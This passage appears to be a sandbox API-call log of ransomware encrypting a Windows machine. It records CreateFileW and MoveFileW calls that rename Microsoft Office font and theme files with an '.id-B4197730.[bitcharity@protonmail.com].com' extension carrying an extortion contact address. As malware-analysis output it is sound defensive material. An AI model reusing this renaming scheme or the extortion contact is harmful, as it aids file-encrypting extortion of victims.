dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.594] CloseHandle (hObject=0x10c0) returned 1 [0282.594] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.594] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SNAP____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\snap____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.595] CloseHandle (hObject=0x10c0) returned 1 [0282.595] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.595] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\STENCIL.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\stencil.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.596] CloseHandle (hObject=0x10c0) returned 1 [0282.596] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.597] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCBI____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcbi____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.597] CloseHandle (hObject=0x10c0) returned 1 [0282.597] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.597] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCB_____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcb_____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.598] CloseHandle (hObject=0x10c0) returned 1 [0282.598] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.598] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCB____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccb____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.598] CloseHandle (hObject=0x10c0) returned 1 [0282.601] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.601] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCEB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcceb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.601] CloseHandle (hObject=0x10c0) returned 1 [0282.603] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.603] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCCM____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tccm____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.603] CloseHandle (hObject=0x10c0) returned 1 [0282.604] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.604] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCMI____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcmi____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.605] CloseHandle (hObject=0x10c0) returned 1 [0282.605] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.605] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TCM_____.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tcm_____.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.606] CloseHandle (hObject=0x10c0) returned 1 [0282.606] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.606] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\TEMPSITC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\tempsitc.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.607] CloseHandle (hObject=0x10c0) returned 1 [0282.608] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.608] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vineritc.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.608] CloseHandle (hObject=0x10c0) returned 1 [0282.609] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.609] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vivaldii.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.609] CloseHandle (hObject=0x10c0) returned 1 [0282.610] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.610] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VLADIMIR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vladimir.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.610] CloseHandle (hObject=0x10c0) returned 1 [0282.611] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.611] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG2.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng2.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.611] CloseHandle (hObject=0x10c0) returned 1 [0282.612] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.612] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\WINGDNG3.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\wingdng3.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.612] CloseHandle (hObject=0x10c0) returned 1 [0282.613] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.613] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\designer\\msaddndr.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.613] CloseHandle (hObject=0x10c0) returned 1 [0282.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dw20.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\DW20.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\dw20.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.372] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.372] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\RADIAL.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\radial.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.372] CloseHandle (hObject=0x115c) returned 1 [0283.373] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.373] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\REFINED.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\refined.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.373] CloseHandle (hObject=0x115c) returned 1 [0283.375] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.375] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\RICEPAPR.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\ricepapr.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.375] CloseHandle (hObject=0x115c) returned 1 [0283.377] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.377] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\RIPPLE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\ripple.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.377] CloseHandle (hObject=0x115c) returned 1 [0283.378] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.378] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.378] CloseHandle (hObject=0x115c) returned 1 [0283.379] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.380] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\SATIN.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\satin.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.380] CloseHandle (hObject=0x115c) returned 1 [0283.381] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.381] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\SKY.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\sky.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.382] CloseHandle (hObject=0x115c) returned 1 [0283.383] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.383] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\SLATE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\slate.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.383] CloseHandle (hObject=0x115c) returned 1 [0283.384] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.384] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.384] CloseHandle (hObject=0x115c) returned 1 [0283.385] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.385] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.385] CloseHandle (hObject=0x115c) returned 1 [0283.387] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.387] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\STRTEDGE.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\strtedge.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.387] CloseHandle (hObject=0x115c) returned 1 [0283.389] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.389] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\STUDIO.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\studio.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.389] CloseHandle (hObject=0x115c) returned 1 [0283.390] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.390] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\SUMIPNTG.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\sumipntg.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.390] CloseHandle (hObject=0x115c) returned 1 [0283.392] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.392] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 